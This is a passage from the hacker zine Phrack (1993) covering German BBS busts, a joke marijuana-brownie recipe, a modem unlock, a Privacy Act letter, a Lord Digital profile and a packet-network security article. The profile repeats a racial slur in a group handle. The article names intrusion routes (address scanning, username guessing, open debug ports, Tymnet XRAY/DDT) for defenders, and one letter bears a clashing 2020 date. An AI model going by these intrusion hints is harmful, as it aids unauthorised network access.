a new German cracking group. After Chris' bust, a couple of boards were affected: Beverly Hills went offline. Also the German Headquarters of the Beverly Hills Boys, 'Twilight Zone', went offline. Their sysops estimate at least 1-3 months offline time. The other Munich BBS and their sysops were really scared after the bust and took down their systems for an uncertain amount of time. One of Germany's largest BBS, Darkstar in Augsburg, was a heaven for every warez collector. It had 8 modems hooked up (all US Robotics Dual Standard 16.8) and one ISDN Line. It had over 2 GB PC warez online, and over 7 GB offline on tapes, which would be put online according to user' requests. But then, March 18 arrived, and the dream was shattered. Its sysop, Rider, who was happily calling boards the previous day, had the most shocking experience in his life. The cops came and took his BBS. And more.. Ego, co-sysop of a large German BBS, got busted. Andy/Spreadpoint (ex-sysop) got busted. And lots of others... Unlike the US Secret Service, which delights in seizing all electronic equipment, like stereos, TVs, VCRs, the German cops were just after the computer hardware, especially the hard drives and file servers. They usually come with three or four people. All of the search warrants they were using were quite old, issued last December. Who is behind those actions? First of all the BSA, Business Software Association. They were also responsible for the recent raids of US Bulletin Boards. In Germany they just announced actions against piracy and bulletin boards. The most active BSA Members are Microsoft and Lotus Development. Microsoft, Lotus and the BSA are all located in Munich, Germany, home of German's most feared lawyer, Guenther Freiherr von Gravenreuth. This guy has been fighting for years against piracy, young kids who copy games, and especially bulletin board systems. He is also affiliated with Ariolasoft, a huge German distributor for game labels like Activision and others. In the end, all I can say is: Be aware, don't get caught and don't keep illegal stuff on your board! (c) 1993 SevenUp for Phrack ****************************************************************************** Carlcory's brownies: /* Begin cc_brownie.c */ Includes: #include "4_squares_baking_chocolate" #include "1_cup_butter" #include "2_cups_sugar" #include "4_eggs" #include "2_cups_flour" #include "2_tbs_vanilla" #include "1_third_cup_marijuana" /*comment out if won't compile on your system*/ #include "1_cup_nuts" /*comment out if won't compile*/ void main(void); { heat(oven, 350); add(butter, chocolate); while(texture!='smooth') { stir(mixture); } Add(sugar); add(eggs); add(vanilla); add(flour, pot); add(nuts) for(timer=0; timer<35; timer++) { bake(mixture); } cool(hour); } /*The high takes about an hour to come on, but lasts for 12 hrs. (4 brownies) Make sure they cool (don't burn your mouth!) and share with friends! */ /*End of cc_brownie.c*/ ****************************************************************************** GRAY AREAS Examining the Gray Areas of Life Gray Areas, Inc. P.O. Box 808 Broomall, PA 19008-0808 (215)353-8238 grayarea@well.sf.ca.us Gray Areas is published quarterly and printed on recycled paper. They also participate in local recycling efforts involving cans, glass, clothing, newspapers, and more. A four-issue subscription costs $18.00 US or $26.00 foreign (payable in US funds). A 12-issue subscription costs $50.00 ($75.00 foreign). You may purchase a twelve issue subscription and give 4 or 8 or those issues away as gifts to friends (i.e., the same 4 issues you receive would also go to 2 other recipients). Make check or money order out to Gray Areas, Inc. STATEMENT OF PURPOSE: Gray Areas exists to examine the gray areas of life. We hope to unite people involved in all sorts of alternative lifestyles and deviant subcultures. We are everywhere! We felt that the government has done a great job of splitting people up so that we do not identify with other minority groups anymore. There are so many causes now that we often do not talk to others not directly involved in our chosen causes. We believe that the methods used to catch criminals are the same regardless of the crime and that much can be learned by studying how crimes in general are prosecuted and how people's morals are judged. It is our mission to educate people so they begin to case more about the world around them. Please join our efforts by subscribing, advertising your business with us, and by spreading the word about what we're up to. __________________________ Review by Knight Lightning: I recently received a copy of the premier issue of Gray Areas, dated Fall 1992 and with a cover price of $4.50 (US). I was impressed with both the laser quality of the printing, artwork, and graphics, as well as the topics and content of the articles. I would not characterize Gray Areas as a hacker magazine, but the subject did come up in an interview with John Perry Barlow (one of the original founders of the Electronic Frontier Foundation) where he discussed the EFF and its role in defending civil liberties. No, instead I think it is safe to say that Gray Areas pays a lot of attention to the Grateful Dead. Indeed the cover story is titled "Grateful Dead Unauthorized Videos." Additionally, there are several other articles (including the John Barlow interview) that discuss varying aspects about the Dead's history, their politics, and of course their music. An advertisement for the next issue of Gray Areas reveals that even more articles relating to the Grateful Dead are on the way; so if you are a "Dead Head" you will probably fall in love with this magazine! However, the article that I appreciated most was "Zine Scene," a review of 163 alternative newsletters that included such familiar names as 2600, Hack-Tic, Full Disclosure, and TAP; and others that I intend to take a look at like Iron Feather's Journal and bOING bOING. The zines reviewed here covered every topic imaginable and I thought it was a great buffet for the mind to have such handy directory (especially since Factsheet Five went defunct about a year ago). Other interesting articles had to do with video, audio, and software piracy and reviews of music and software. I also enjoyed the great artwork found throughout the magazine in the form of visual aids, comics, and advertisements. If you are a fan of alternative music or the Grateful Dead, you'll be very sorry if you don't subscribe immediately. If you are interested in alternative publications with more interesting points of view than Time or Newsweek then you owe it to yourself to at least purchase a copy to check it out. - - - - - - - - - All letters sent to Gray Areas are presumed to be for publication unless you specifically request that they omit your name or refrain from publishing your comments. If you are writing about something which could incriminate yourself, they will protect your identity as a matter of policy. ****************************************************************************** "Turning your USR Sportster w/ 4.1 roms into a 16.8K HST Dual Standard" by The Sausage with The Mallet If you have a USRobotics Sportster FAX modem, Ver 4.1, you can issue the following commands to it to turn it into an HST 16.8K dual standard. In effect, you add HST 16.8K to its V32.bis 14.4k capability. ats11=40v1L3x4&h1&r2&b1e1b1&m4&a3&k3 atgw03c6,22gw05cd,2f ats14=1s24=150s26=1s32=8s34=0x7&w A very important item is the b1, which tells the modem to use the 16.8K HST protocol. If you do not set b1, when the Sportster connects with another V32 modem it will go through the CCITT v.32 connect tones and you will not get a 16.8K connect. If you do get an HST connect, you will not hear the "normal" train phase--instead you will hear the HST negotiation which sounds like a 2400 baud carrier. Finally, if you change the "cd" in the second line to a "cb", your modem will think it is a V.32 Courier instead of an HST 16.8K. Look for other pfine pfiles from Rancid Bacon Productions in conjunction with USDA Grade A Hackers (UGAH.) Accept no substitutes. ******************************************************************************* Request to Post Office on Selling of Personal Information In May 1992, the US Postal Service testified before the US House of Representatives' Government Operations Subcommittee that National Change of Address (NCOA) information filled out by each postal patron who moves and files that move with the Post Office to have their mail forwarded is sold to direct marketing firms without the person's consent and without informing them of the disclosure. These records are then used to target people who have recently moved and by private detective agencies to trace people, among other uses. There is no way, except by not filling out the NCOA form, to prevent this disclosure. This letter is to request information on why your personal information was disclosed and what uses are being made of it. Patrons who send in this letter are encouraged to also forward it and any replies to their Congressional Representative and Senators. Eligible requestors: Anyone who has filed a change of address notice with the Postal Service within the last five years. Records Officer US Postal Service Washington, DC 20260 PRIVACY ACT REQUEST Dear Sir/Madam: This is a request under the Privacy Act of 1974 (5 USC 552a). The Act requires the Postal Service, as a government agency, to maintain an accounting of the date, nature, and purpose of each disclosure of information about individuals. I request a copy of the accounting of all disclosures made of address change and mail forwarding information that I prov ided to the Postal Service. This information is maintained in USPS System of Records 010.010. On or about (date), I filed a change of address notice requesting that my mail be forwarded from (old address) to (new address). The name that I used on the change of address form was (name). This request includes the accounting of all disclosures made by the Postal Service, its contractors, and its licensees. I am making this request because I object to the Postal Service's policy of disclosing this information without giving individuals an option to prevent release of this information. I want to learn how my information has been disclosed and what uses have been made of it. Please let the Postmaster General know that postal patrons want to have a choice in how change of address information is used. If there is a fee in excess of $5 for this information, please notify me in advance. Thank you for consideration of this request. Sincerely, CC: Your Congressional Representative US House of Representatives Washington, DC 20510 Your Senators US Senate Washington, DC 20515 ------------------------------------------------------------------------------- =Phrack Magazine= Volume Four, Issue Forty Two, Phile 3 of 14 ==Phrack Pro-Phile== _______________________________________________________________________________ Phrack Pro-Phile was created to provide info to you, the users, about old or highly important/controversial people. This month, we introduce you to an individual who has survived the underground for far too long, the creator of Phantom Access and one of the co-sysops of Mindvox... Lord Digital ~~~~~~~~~~~~ _______________________________________________________________________________ Personal ~~~~~~~~ Handle: Lord Digital (for like.... fuck I'm old, 13 years now) Call him: Patrick K. Kroupa Past handles: M000hahahahahahahah! You're kidding right? Handle origin: It was given to me by this ancient wise man drinking cheap Absolut by the side of the road... Date of Birth: 01/20/68 Age at current date: 24 Height: 6'2" Weight: 185 Eye color: Green Hair Color: Blonde/brunette/black (subject to change) Computer: Apple ][+, Amiga 1000, Mac Plus (All in storage) Apple //e, Amiga 500, NeXT, Various Suns (Not in storage) Sysop/Co-Sysop of: MindVox ELItE!@#!!!@#! Net address: digital@phantom.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - If you look beneath the shiny surface of most things, and gaze way-way-way deep down into the murky black festering heart of the human evolutionary process, you are ultimately confronted with the revelation that has stood, nay, LEAPT UP before the ancients since before the days of Atlantis: Life is a lot like NeW WaReZ. Anybody who tried to tell you something different, is obviously selling you something. All things in this universe -- and many others -- can be attributed to New WareZ. The ebb and flow of WareZ is what keeps the very COSMOS from bursting apart at the seams. During periods of time when the flow of WareZ slows to a trickle, times are tough, there is war, pestilence, death, disease, and many rAg PhIleZ. d()oDZ who were happily playing Ultima XXII Quest For Cash, are soon busily hurling insults at each other and dialing the Secret Service. Life is grim, there is a bleak sense of desolation and emptiness . . . for when the WareZ slow down . . . there is little left to live for and you begin to enter withdrawal. An ugly process that, thus far, has only been combatted successfully by Wally Hills NeW WhErEZ Treatment center, where they slowly ween you off the addiction of WareZ and introduce you to the REAL WORLD where you can do things like smoke crack and play in a band. On the flipside, when there is a good steady flow of WaReZ, the universe hums to itself in happiness and all wrongs are righted, perspectives re-adjusted, and peace, love, and happiness spread throughout the land as the COSMOS re-aligns itself and perfection sweeps the world. This is a heady time, but one that is sure to be brief, for before you know it some evil glimmer of BADNESS will rise up and somebody will DOUBLE-RELEASE someone else, or a Ware will CRASH when it tries to load . . . and then it's just all over. A long time ago in a galaxy far, far away . . . I was a founding member of the Knights Of MysterIous keYboArdZ and the Ko0l/Ra{> alliance. At present I am President/Ce0 and Chairman of the b0red at Phantom Access Technologies/Coleco ADAM design Studios, Inc. At the moment our group is working on a multi-tasking, multi-user, CyberSpace environment where the participants can take part in a shared reality that is based upon a cross-relational structure comprised of lots of 0's and 1's all strung together in big twisty chains and kept track of by an Objective-COBOL X/Motif GUI sitting on an SQL dialed into the POWER COMPUTER in Utah, at infinite baud (not to be confused with bps). In the near future I .plan to move to Pigs Knuckle Idaho and cross-breed weasels with ferrets, while devoting the rest of my life to watching daytime TV. It's just that type of thing. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Reality Break ~~~~~~~~~~~~~ It is very difficult, bordering on impossible, for me to remain serious for longer than about 45 seconds, when discussing the "underground" and what it was all about. I rarely bother to mediate or water-down most of my opinions, and there are a lotta places out there in the real world, where anyone who cares can readily access whatever I have to say. There isn't a great deal left for me to convey to anybody regarding my perceptions of the hack/phreak world's history and what it has meant, and shall mean, in the cosmic scheme of things. The first time I came into direct contact with computers was during the mid-late 70's. I was around 6 or 7 and my father worked at NCAR during this period of time, which is a futuristic looking series of buildings in Boulder Colorado. This one time I came in, there were all these weird cars driving around in the parking lot, and since there were frequently a lotta strange things moving around there, I never understood until much later that Woody Allen was filming SLEEPER when this was going on. On the same day, I was shown some of the computer rooms, which had just taken shipment on one of the first Crays to go out the door. This left an impression. It was neato . . . One thing led to another. I played around with various things, mainly the really old Commodore PET systems and a slew of heavy metal junk from IBM, until I got an Apple ][+ in 1978. I hung out with a group of people who were also starting to get into computers, most of them comprising the main attendees of the soon-to-be-defunct TAP meetings in NYC, a pretty eclectic collection of dudes who have long since gone their separate ways to meet with whatever destinies life had in store for them. Around 1980 there was an Apple Fest that we went to, and found even more people with Apples and, from this, formed the Apple Mafia, which was, in our minds, really cool sounding and actually became the first WAreZ gRoUP to exist for the Apple ][. Time passed, I picked up more hardware, went on the quest to assemble the perfect Apple-Cat system -- consisting of the Cat, 212 card, BSR, firmware, tone decoder chip, and all the m0dZ NOVATION eventually made to the boardZ -- and ultimately ended up with 3 of 'em, one of which still works (like wow). This led to the first generation of Phantom Access programs which started to seep into the moDeM WeRlD around 1983, with the final revisions being let loose in 1987 or 1988, under the auspices of Dead Lord. By this time I had long since stopped working on them and had relatively little to do with their forms of release. Over the years I've been in a seemingly-endless succession of groups and gatherings under nearly 50 different pseudonyms which were frequently invented and dropped, all around that one specific timeslice and reference-point. There were only two that I was ever "serious" about, which is to say I entered into them honestly believing the ideals and reasons for the group's inception, to be valid and worth upholding and being a part of. In other words I was in my mid-teens and my attitude wasn't one of "Yeah yeah, take 10; a buncha dudes are gonna screw around, some of it will be fun, some of it will be silly, and a lot of it will be bitchy and cranky, but hey, I'm only here to amuse myself, so what the fuck . . ." The two "serious" affiliations were Apple Mafia and the Knights of Shadow. KOS ceased to exist in mid-1984 and I dropped out of the AM around 1985, although to my knowledge it kept going until '86 or '87 when the last surviving members found better things to do with their time. In 1987 I was also "OfFphICiALlLY" inducted into the Fraternal Order of the Legion of Doom, which was just gosh w0wz0. Actually, it's much more fun in retrospect, since most of us are pretty good friends at this point in time, which seemed an unlikely event back in the early 80's I ceased to be "active" sometime around 1985, having gained legal access to almost anything I could possibly want to play with, as well as having made friends with people working for NYNEX who de-mystified many things for me. The ultimate conclusion to all of this was that having THE POWER is cool -- and using it to annoy people was absolutely hilarious -- but only led to two possible destinations. You use it all as a learning experience and "grow up" realizing that you're playing cops and robbers, and many of the things you have spent years doing are now illegal and liable to get you into a lot of trouble. You can't go back in time (at least not yet). You could keep doing stupid things and end up in a legal dilemma over something that isn't very important. Because . . . it really isn't "THE POWER," it's just a very limited form of "it" embodied by a phone system and some computers. And when you compare that to a piece of art, or a collection of music, or a new series of programs that someone has created, you begin to realize that all you're doing is fucking with things that other people made, and you're wasting your time abusing . . . To cut short my rant, I have no moral judgements to pass upon anyone or anything, because whatever it is that people do, it's some sort of learning process leading towards their destination (whether they realize it or not). The computer underground is just not a place where you can remain "active" beyond a certain period of time that serves as a sort of "rite of passage" towards that something else. To hang around indefinitely and remain "active" is to become a criminal. Almost everything I've done has taken place with a handful of friends who played various roles in events that transpired -- primary among them Dead Lord (Bruce Fancher), one of my closest friends for the better part of a decade, as well as The Unspeakable One whose name cannot be mentioned for to do so causes rifts within space/time, and a buncha dudes from NYC/NJ who for the most part want to blip their personas off the face of Cyberspace and get on with their lives without the specter of LaW EnForCEmEnT hanging over them for doing silly things as teenagers. In 1986 I ceased calling anything and didn't access a computer that was hooked into a modem until late 1990. As of late 1992, I have been "retired" for a little over 7 years. Patrick's Favorite Things ~~~~~~~~~~~~~~~~~~~~~~~~~ Women: Delia! Gorgeous, Intelligent, Wonderful, & able to deal with me. Men: Bwooooce. Cars: 928s4, Hyundai, Edsel. Foods: Italian, red meat, SuPeR Hi PER Pr0tE!n, anything with SPAM. Music: Any band with the word "LORD" in it (Lords of the New Church, House of Lords, Lords of Acid, Lords of Chaos, Traci Lords). Authors: Michael Moorcock, Sun Tzu, Machiavelli, Hans Horbiger, Dr. Seuss. Books: Play of Consciousness, The Book of PAT. Performers: Bill the Cat, Sting, Perry Farrell, GuNz N RoSeZ, plus anybody who has sold out to the mahnnnnnn fo' $$$$$$$ in a biiiiiig way. Most Memorable Experiences ~~~~~~~~~~~~~~~~~~~~~~~~~~ Most memorable things are unmentionable and destined to stay that way for a while. Those who played the games know the stories; those who didn't eventually will -- but like, who cares. Everybody should live their own stories, life's an interesting game . . . go play. Some People to Mention ~~~~~~~~~~~~~~~~~~~~~~ Dead Lord - The one who is not and can never be, yet exists. Solely an infinite layering of the possibilities inherent within personal transmigration and biotechnology? Or alive, with flesh, blood, bone and an adornment of k0dEz & warEZ? You must not be blinded by sight, nor fooled by what things appear to be when they are not, for what is a man when he has not the latest, nor possesses the abilities to acquire same? This is a question perhaps best left to the wise men who roam the meadows of the ozone, forever catching the edge and surfing the waves cresting upon the seas of thought and what is, was, and shall always be. The - I know who you are, so tell me who I am, and let's just Unspeakable get on with it okay? Because otherwise, TV is likely to One drop the entire facility dead. Anyone of normal caliber can see that to be entirely obvious to thee of the id'ness of pole-cats watching Star Wars. 8+ KlUb ElYtE. Terminus - A good friend over many years who, as most people know, has recently gone through a lot. The future looks bright, and I look forward to looking back on all this with you in another ten years. [Look, look, looking] (haga!) Magnetic Surfer - Neato guy who knew me way-back-when, and used to give me gNu Apple wArEz on cassette tape which he had downloaded at the lightning speed of 300 baud. Also provided a means to meeting many of my friends, via Sherwood Forest, when it first existed and hosted Inner Circle and later KOS. The Phantom - See above, also gave me a full set of TAP copies in 1983, which I never returned to him. The Plague - A cool guy, close friend before his fatal accident when the truck went off the road near Poker Flats, just 5 miles north of Pig's Knuckle, ID. Tragic, hope he's happy in his new home, far, far underground, running the world's first afterlife/subterranean BBS. ApPul HeyD! \ The elYtE peARz of Scepter/InterCHAT who went on to form SuperNigger > - DPAK, an entity SO ELITE that it required FOUR letters for Sharp Rem0b / its acronym & brought the world Lex Luthor on HBO! SuperNigger - Because he is 2 elyTe to be encompassed in merely one line and requires at least two. Lord_foul - Ahhhh do0d.... Well we all have our roles 2 play. Catch ya in tha outback. (cha mod pla foul sl=999 mi=99,mh=99) Ninja NYC - One of the few people I have ever met who seems to have mastered the art of being happy wherever he is, doing whatever he happens to be doing. An exceptionally nice human being. Elven Wizard \ A collection of compatriots, cohorts, and all around dudEz The Infiltrator\ with whom I had an inordinate amount of fun, first ro0l!ng The Gunslinger > - the WhEReZ world, then changing our handles (well except The Bishop / for Jeff) & dismantling eliteness and its tarnished allure, The Gonif / along with its cadre of false prophets (namely ourselves under half a dozen other handles). Andrew \ "I doan' wannnnnnnnnt any money, I want to be left alone, Chase > - tell them to go 'way." May Sutekh look upon our worldly Asif / endeavors and bless us all, everyone. !nseo()d! Phantom Phreaker - Here's to shifting focus and finding something far more interesting to play with than phones & computers 8-). It's an amazing universe, huh . . . Lex Luthor - After a ten year period during which we typed to each other once in a while and seemed situated at antipodean sides of the m0dUm Yo0n!veRsE, I finally met with Lex in the very near past. It's shocking to find that he's actually one of the most gracious, funny, and pleasant guys I've ever had an opportunity to meet. Best wishes in whatever you may end up doing! Erik Bloodaxe - A keg of Sandoz, a Vat of pig's blood, T&C and thee. Sigmund!@31!@!!! - As the UFOs said, they know who you are, they know where you are. Seriously, hey, it was entertaining. Good luck man. unReAl PeOpUL 2 MenShun ~~~~~~~~~~~~~~~~~~~~~~~ StJude - For everything. It's good to know you . . . love, light, and a lotta deep-fried giri with ciphers thrown in. Siva - Look, polygons or voxels, Gibsonian or Post-modern, by Risc or by Cisc with Objective C++ running Smalltalk under Windows NT over the underpass and around the bend; it's gonna happen, and we're gonna be there having a party. Smile, as I think you've mentioned on more than one occasion; it's an interesting time to be alive 8-). Bruce - Quite possibly the coolest grown-up I have ever met 8-). Which is Sterling saying a lot. The world would be a much better place if Bruce could be cloned and then placed inside a tornado, hooked into a net, fitted with an adamantium exoskeleton, and then dropped into the de-criminalized zone with a BigMac and a holographic tape recorder. Jim - Hey so, are you doing more things at once or am I? I bet I can Thomas watch TV, listen to music, have three phone conversations, and write an article with 25% greater coherence than Chuck has while eating and watching TV. On the other hand, writing two books, teaching, reading, running CUD, having a life, and still finding time to hang out are at least level 15 -- haven't hit that yet, but I'm working on it! Andy - Hey man. I enjoy what you're doing, keep the faith, ignore the Hawks assholes, take inspiration from the inspired, and retain belief in your dreams. Oh okay, gotta go, time to sell out, ignore what I just said 8-). 3Jane - Models/actresses/sex cadets united for a better tomorrow, under Unix with named_pipes and justice for some of us. Memorable Phreak/Hack BBSes ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 8BBS - Long ago, I didn't understand it, or what I was typing, but it was fun. MOM - Long ago, although by now I did understand it and had slightly less fun. Pirate's Harbor - Before Norman figured out he could make a killing on TIMECOR. Pirate's Chest - 6 line 80 meg board circa 1983. Totally Cool. Adventurer's Tavern - Last bastion of tremendous on-line fun & anarchy. RIP. Securityland - Nappy's Board. Pirate's Phunhouse -> Cat's Cavern - The Tempest's system(s). Dark Side of the Moon - Through many long and strange phases. Still running. RACS III - w()wZ0 blargel blumpfk0l SwillY sw()nk!@!#!@!!!!! OSUNY (3 cycles) - Some more fun than others. Sherwood Forest I, II, III - Liked all three, although 1 was the coolest. Plovernet - Two phases. Both great. The (urse - WarEZ do()d & eLIteNEsS Galore!@#!@#!@#!@# LOD - The Start in 1984, and intermittently thereafter. COPS - Cool Florida board. Shadowland - Cool Colorado board. SpecELITE - So overwhelmingly awful, that it was wonderfully fun. WOPR - Lotta fun for a while, then he threw everyone off & went 1200only wareZ. Pirate-80 - It was very effervescent with a touch of jello. Everything Sir Knight ever ran - Too many names (Tele-Apa, HackNet, NewsNet...) World of Cryton - WOC! JAMES! ELITENESS! The Safehouse - Apple Bandit's. Hey, I want my Diskfer ][ dude! Farmers of Doom - Blo0p. Pirates of Puget Sound - Nice softwareZ. Lotta fun. A few things Lord Digital would like to say: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BELIEVE EVERYTHING THAT YOU HEAR. KNOW EVERYTHING YOU SEE. UNDERSTAND EVERYTHING YOU DO NOT COMPREHEND. BE AT ONE WITH THE STILLNESS OF THE REVOLVING HAMSTER WHEEL AND FLOSS BETWEEN MEALS. As far as the future of the hack/phreak world and telecommunications in general is concerned, the PhrAck World is absolutely spiffy and I believe that ISDN will change EVERYTHING and make it rounder, taller, bigger, more stable, and also give later generations something to look back upon and sneer at with contempt. ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 4 of 14 Prelude to a Kiss - Lessons Unlearned Are Doomed To Bring Misery Ad-Infinitum - The following is an article I wrote for a mainstream computer security periodical called ISPNews. At the time, I had been discussing the idea of a bi-monthly column with the editor at that time, Len Spitz. (Now the editor is Michael Alexander, ex-of Computerworld) The following article, although very, very tame by my standards, and admittedly lacking in enough hardcore information to help security professionals to apply a quick fix to their many problems, caused quite a stir among the folks at ISPNews. Since this article was from me, a self-proclaimed hacker, it underwent an extraordinary amount of scrutiny. Rather than be accepted or denied by the editor, my article got the dubious honor of being sent before an editorial advisory board. I checked every back issue of ISPNews and could find no mention of such an entity until the November/December 1991 issue, the issue immediately following an length interview with none other than myself. When I questioned Len Spitz about this rather odd fact, he maintained that this committee had indeed existed, but stammered his way through my question to name any other article that they had convened to judge in the past, and to explain the duties of such a group. He could not give me any answers. The group itself was obviously geared to be a type of kangaroo-court. It consisted of: William J. Cook -- The man who less than two years prior had ordered my privacy and civil rights violated by the Secret Service solely on the basis of two bulletin board posts and my association with members of the Legion of Doom and the Phrack Magazine staff. William H. Murray -- A senior consultant with Deloitte & Touche who had two weeks prior stood up before my presentation to the MIS Training Institute's 11th Annual Conference and said loudly "I can't take this any more, I'm leaving," to the astounded audience. The man who went on to state in his own column in ISPNews, "Can we lie down with dogs and get up without fleas?" and "Ask yourself if you wish to work in a profession populated by rogues. Ask yourself if you want your reputation mixed with theirs." Winn Schwartau -- A security consultant with a broad view and an open mind, undoubtedly resulting from his background in the music industry, as opposed to the bean-counting world of MIS. David J. Stang -- Director of research, NCSA. Noted virus specialist. This was the group. Here is what they said about my article: Bill Cook -- "It's very well-written and informative, but shouldn't be published for legal reasons." (What those reasons might have been were not stated, nor did Mr. Cook return my call to his office.) Bill Murray -- Was not even given the file to read, as his response was deemed to predictable. Winn Schwartau -- "Publish it. This is valuable information." David Stang -- Was not given the file because, according to Len Spitz "David is just a virus expert, and this isn't in his arena, so we gave it to Ray Kaplan." Ray Kaplan -- Did not want to comment on it because he said, "It's not my expertise, so I gave it to a friend." I believe Ray did not want to get involved with anything having to do with hackers after the reactionary attitudes of the DECUS attendees towards his defense of Kevin Mitnik that nearly left him in bankruptcy. I cannot blame him at all. (Hell, I like the guy...he's certainly more brazen with attitude these days, I mean, he went to HoHoCon for God's-sake!) Ray's Friend -- "This is of absolutely no use to the information security professional, but of great use to the hacker community." I still do not know who Ray's "friend" was. I hope his Alzeheimer's has subsided since this comment. Needless to say, the article went unpublished. Shortly thereafter I received a letter from Robert Fox, an assistant vice-president at Sprint. Somehow my little article had snaked its way over to Kansas City. It's amazing how one faxed copy of an article could have reached so many people in such a short period of time. Mr. Fox had the following to say: ------------------------------------------------------------------------ United Telecom/US Sprint 9221 Ward Parkway Kansas City, Missouri 64114 816-822-6262 Robert F. Fox January 13, 2020 Assistant Vice President Corporate Security VIA AIRBORNE EXPRESS Mr. Chris Goggans COMSEC Suite 1470 7322 Southwest Freeway Houston, TX 77074 Re: Your Article "Packet-switched Networks Security Begins With Configuration" Dear Mr. Goggans: A copy of the referenced unpublished article, which is enclosed with this letter, has come to our attention. After review, we believe the article is inaccurate and libelous. If published the contents of the article could cause damage to Sprint customers, Sprint and our reputation, and we request that you not publish or otherwise disseminate it. In addition, we believe some of the information contained in the article has been obtained through violation of the property rights of Sprint and/or our customers and we demand that you cease any efforts or attempts to violate or otherwise compromise our property whether or not for you personal financial gain. Sincerely, Robert F. Fox Enclosure ------------------------------------------------------------------------ Regardless of how Mr. Fox came into possession of this article, i have to question his letter based on his comments. First he states that the information is almost criminally incorrect and could cause harm to Sprint's reputation. Then he states that information in the article has come to be known through the violation of the security of Sprintnet and/or clients of Sprintnet. In effect, I am both a thief and a liar according to Mr. Fox. Well, if I were a thief the information could not possibly be inaccurate if it were obtained from Sprintnet or its clients. If I was a liar, why would they think the information came from themselves and/or their clients? Mr. Fox's thinly veiled threat caused me great amusement. I then decided no mainstream publication would touch this article. I don't know why everyone is so scared of the truth. Perhaps if the truth were known people would have to work, and perhaps if the truth were known some people would be out of work. None of this is of concern to me anymore. I am here to speak the truth and to provide uncensored information gathered from a variety of sources to provide readers of this magazine the facts they need to quench their thirst for knowledge. This article is included as a prelude to a series of articles all based on packet switched networks as related to information merely alluded to in my harmless little article. To our readers, "enjoy." To the cowering so-called security experts, "kiss my ass." ------------------------------------------------------------------------ Packet-switched Networks Security Begins with Configuration For many companies the use of packet-switched networks has allowed for increased interconnectivity of systems and easy remote access. Connection to a major public packet-switched network brings increased access points with local dialups in many cities around the nation as well as access points from foreign countries. With the many obvious benefits provided by this service, improper configuration of either the host's connection to the network or of the network itself can lead to extreme security problems. The very connection to a public packet-switched network immediately increases the exposure of that particular system. America's two major commercial networks, BT-Tymnet and Sprintnet, are probably the most popular US targets for hackers around the world. The wealth of systems available on these two networks has provided hackers with a seemly endless supply of sites on which to sharpen their skills. The ease of use inherent in both networks makes them popular for legitimate users as well as illegitimate users. The Telenet software utilized in the Sprintnet network allows users to enter a network user address (NUA) in the standard format as outlined in the X.121 numbering standard: DDDDAAAHHHHHPP Where D = the four digit data network identifier code (DNIC) A = the three digit area code corresponding to the host H = the host address P = the port or (sub) address On domestic calls the DNIC for Sprintnet (3110) is stored in all Sprintnet equipment and is used as the default. By merely picking an area code, most often corresponding to the standard area codes of the North American Numbering Plan, and an additional one to five digits a would-be intruder can connect to any number of systems while looking for targets. In the past many software packages have been written to automate this process, and large scans of the network have been published in a variety of underground media. The Tymnet II software utilized in BT's Tymnet prompts the user for a mnemonic which corresponds to a host or number of hosts. The mnemonic, or username, is referenced to a fixed host address in the network's Master User Directory (MUD). This username may allow the caller to connect to a variety of sites, as opposed to merely one, by entering additional information in separate fields after the username. It may also correspond to a network gateway thereby allowing the user to enter a number in the X.121 format and connect to that specific site. This particular network, with its primary use of words as opposed to numbers, has been compromised by intruders who guess common words or names in their attempts to connect to remote sites. Each network has its own particular set of problems but solutions to these problems are both simple and quick in implementation. SPRINTNET The first deterrence in securing a host on this network is to restrict access to the site. This can be accomplished in a number of ways. The most obvious is to have the site refuse collect calls. All calls on Sprintnet are reverse-billed, unless the site has specifically asked that they not be billed for incoming calls. This makes the site accessible only through the use of a Network User Identifier (NUI). Another method of restricting access from intruders is to place the host in a closed user group (CUG). By electing to have the host in a CUG, the administrator can allow only certain NUIs to connect, and can also restrict the actual addresses from which access is allowed. For example: A site is placed in a CUG that will allow only calls from the company's remote branch in Dallas to access the host and only with the NUI created specifically for that branch. All attempts to access the site from an address outside the 214 area will result in an error message indicating an invalid source address. All attempts to connect with an invalid NUI will result in an error indicating an invalid ID. This information is maintained in the networks main TAMS (TP Access Management System) database, and is not subject to manipulation under normal circumstances. Many sites on the Sprintnet network have specific subaddresses connecting to a debug port. This is usually at subaddress 99. All connections to debug ports should be restricted. Allowing users access to this port will allow them the ability to load and display memory registers of the Sprintnet equipment connected to the port, and even reset as well as enable or disable the host. Most debug ports are equipped with preset passwords from the vendor, but should be changed. These ports should also restrict connection from all addresses except those specified by the company. An additional measure that may foil intruders relying on software programs to find all addresses in a given area code is to request that the host be given an address above 10000. The time involved in scanning the network is extensive and most casual intruders will not look past the 10000 range. In fact, many will not venture past 2000. BT-TYMNET Any company having a host on the Tymnet network should choose a username that is not easily associated with the company or one that is not a common word or name. If an intruder is aware that XYZ Inc. has a UNIX based system on TYMNET he or she would begin attempts to find this system with the obvious usernames: XYZ, XYZINC, XYZNET, XYZ1, XYZUNIX, UNIX, etc. BT-Tymnet allows for these usernames to have additional password security as well. All hosts should have this option enabled, and passwords should be changed frequently. The password should always be a minimum of six digits, should include letters, numbers and at least one symbol character, and should not be associated in any way with the corresponding username. Many clients of BT-Tymnet have purchased the Tymnet II software and have individual sub-networks that are linked to the public network through gateways. Each subnet is personally configured and maintained through the use of a package of utilities provided by Tymnet. These utilities each perform a specific task and are highly important to the smooth operation of the network. These utilities may be accessed either directly from the host-end or remotely through the network by entering a corresponding username. Some of these utilities are: XRAY : a monitoring utility DDT : a debugging utility NETVAL : a database of username to host correspondence PROBE : a monitoring utility TMCS : a monitoring utility Under NO CIRCUMSTANCES should these utilities be left without a password on the company's subnet. These utilities should also never be named similarly to their given name. Should an intruder gain access to any of these utilities the integrity of your network will be at risk. For example: Allowing an outsider access to the XRAY utility, would give he or she the ability to monitor both incoming and outgoing data from the host using the "TA" command (display trace data table in ASCII). Use of certain XRAY commands are restricted by a security function that allows only certain usernames to execute commands on the basis of their existence in a "Goodguy" list, which can be displayed by any XRAY user. Should a user be of the highest privilege, (2), he or she can add or delete from the "Goodguy" list, reset connections, and display trace data on channels other than the default channel. Allowing a user access to DDT can result in complete disruption of the network. DDT 